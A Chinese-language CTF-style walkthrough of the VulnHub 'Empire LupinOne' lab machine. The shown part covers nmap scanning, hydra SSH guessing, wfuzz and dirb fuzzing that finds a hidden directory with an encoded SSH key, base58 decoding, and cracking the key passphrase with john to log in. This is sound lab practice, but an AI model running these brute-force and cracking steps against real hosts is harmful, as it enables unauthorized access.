Empire LupinOne靶机练习

2025-3-27 48 3/27

Empire LupinOne靶机练习

靶机网址:https://www.vulnhub.com/entry/empire-lupinone,750/

一、主机发现+信息收集

主机发现

nmap -sn 192.168.25.0/24

靶机IP:192.168.25.161

攻击机IP:192.168.25.132

export ip=192.168.25.161

端口扫描

 nmap --min-rate 10000 -p- $ip

结果,仅仅开放了22和80端口

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:F6:61:12 (VMware)

详细信息扫描

nmap -sT -sV -O -p22,80 $ip  

结果

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
MAC Address: 00:0C:29:F6:61:12 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

默认脚本扫描

 nmap --script=vuln -p22,80 $ip                     

结果

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /robots.txt: Robots file
|   /image/: Potentially interesting directory w/ listing on 'apache/2.4.48 (debian)'
|_  /manual/: Potentially interesting folder
MAC Address: 00:0C:29:F6:61:12 (VMware)

EXP搜索

都没有内容

Empire LupinOne靶机练习

二、渗透开始

(一)22端口SSH

弱口令

hydra -C /usr/share/wordlists/legion/ssh-betterdefaultpasslist.txt $ip ssh

(二)80端口web应用

目标访问,主页只有一张图片,源码中也没有内容,静态页面(CTF风格)

Empire LupinOne靶机练习

Empire LupinOne靶机练习

开始目录爆破

gobuster dir -u http://192.168.25.161/ --wordlist=/usr/share/dirbuster/wordlists/medium.txt

/image http://192.168.25.161/image/]

Empire LupinOne靶机练习 /manual http://192.168.25.161/manual/]

Empire LupinOne靶机练习

/javascript http://192.168.25.161/javascript/]

Empire LupinOne靶机练习

得啥都没有,但是有的网站的目录是以 ~ 开头的一般的字典中是没有这种的,所以接下来我们针对 ~ 开头目录进行爆破

dirb等目录爆破工具没能爆出来,这里我们使用wfuu进行模糊测试爆破

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://192.168.25.161/~FUZZ

-c:用于启用彩色输出

-z file,/usr/share/seclists/Discovery/Web-Content/common.txt:这里指定了使用文件作为模糊测试的输入源。-z 表示使用一个迭代器(iterator),file 是迭代器的类型,它会从 /usr/share/seclists/Discovery/Web-Content/common.txt 这个文件中读取内容。

--hc 404:表示隐藏(hide code)状态码为 404 的响应

http://192.168.25.161/~FUZZ:这是要进行模糊测试的目标 URL。其中 ~FUZZ 是一个占位符,wfuzz 会将从文件中读取的每个字符串替换到 ~FUZZ 的位置,并发送 HTTP 请求

Empire LupinOne靶机练习

http://192.168.25.161/~secret

这个字段记录一下 icex64 ,很可能作为一个用户

找到这个隐藏目录后我们再向下级目录文件进行爆破

dirb http://192.168.25.161/~secret -r

-r 递归爆破,探寻此目录下的子目录和文件

这里我们找到了一个文件

http://192.168.25.161/~secret/index.html

Empire LupinOne靶机练习

让我们去找SSH私钥文件

还是wfuzz模糊测试,但是这次我们加个 . 作为文件前缀,毕竟用dirb还是没有扫到这个。

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -z list,".txt"- --hc 403,404 http://192.168.25.161/~secret/.FUZZFUZ2Z

-w 表示指定要使用的字典文件

-z 用于指定迭代器(payload)类型和数据。

list 是迭代器类型,表明将使用列表数据。

".txt" 是要使用的数据列表,在这个例子中只有一个元素 .txt。这将与 -w 选项中的字典文件结合使用,为模糊测试提供额外的输入元素,以尝试发现以 .txt 结尾的文件或目录

.FUZZFUZ2Zwfuzz 工具会替换的占位符,在测试过程中,wfuzz 将从 -w 选项指定的字典文件和 -z 选项指定的列表中选取元素,依次替换 ,FUZZ对应-w中的数据,FUZ2Z对应-z中的数据。

这里成功找到

Empire LupinOne靶机练习

http://192.168.25.161/~secret/.mysecret.txt

Empire LupinOne靶机练习

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那22端口就是私钥泄露了

一般使用SSH账号和SSH私钥文件就能登录SSH服务了,但这个SSH私钥文件不知道被什么加密或编码了

我们就找到在线解码网站去试试

最终base58解码

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iUJ66WmRUN9EoVlkeCzQJwivI=

接下来使用上面的用户icex64和这个私钥文件进行登录

ssh icex64@192.168.25.161 -i myssh

提示信息

Permissions 0644 for 'myssh' are too open.             
It is required that your private key files are NOT accessible by others.                                   
This private key will be ignored.                       
Load key "myssh": bad permissions

权限不好,其他用户有权限那就改下权限给他们权限去了

Empire LupinOne靶机练习

chmod 0600 myssh

又提示错误

Load key "myssh": error in libcrypto

需要解密密钥

使用脚本转化john格式

/usr/share/john/ssh2john.py myssh >  myssh.john

然后再用john去爆破

john myssh.john --wordlist=/usr/share/wordlists/fasttrack.txt

成功获取权限

使用账号“icex64”、SSH私钥文件、SSH私钥文件的解密密钥P@55w0rd!

Empire LupinOne靶机练习

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